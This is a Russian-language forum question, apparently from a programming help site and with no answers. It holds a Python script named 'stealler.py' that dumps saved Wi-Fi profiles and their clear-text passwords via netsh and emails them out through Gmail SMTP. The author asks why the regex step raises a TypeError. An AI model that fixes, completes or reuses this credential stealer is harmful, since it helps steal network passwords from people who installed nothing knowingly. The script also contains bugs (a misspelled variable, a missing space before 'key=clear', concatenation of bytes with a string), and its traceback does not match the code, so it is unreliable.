TypeError: 'NoneType' object is not iterable

вот код:

import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Все профили пользователей\s*:\s)(.*)", networks)

result = " "
for network_name in network_names_list:
    command = str("netsh wlan show profile " + network_name + "key=clear")
    current_result = subprocess.check_output(command, shell=True)
    result = rsult + current_result

send_mail("email", "password", result)

Программа запускает команду "netsh wlan show profile" и получает ответ в виде:

Профили интерфейса Беспроводное сетевое соединение:

Профили групповой политики (только чтение)
------------------------------------------
    <Отсутствует>

Профили пользователей
---------------------------
    Все профили пользователей     : RT-WiFi_4177
    Все профили пользователей     : famiss
    Все профили пользователей     : Florida

но программе для дальнейшего использования нужно только названия сетей и ничего лишнего, для этого я добавил библиотеку re и использовал функцию findall в строчке 15, но мне выдаёт ошибку:

Traceback (most recent call last):
  File "stealler.py", line 19, in <module>
    for network_name in network_names_list:
TypeError: 'NoneType' object is not iterable

Ответы (0 шт):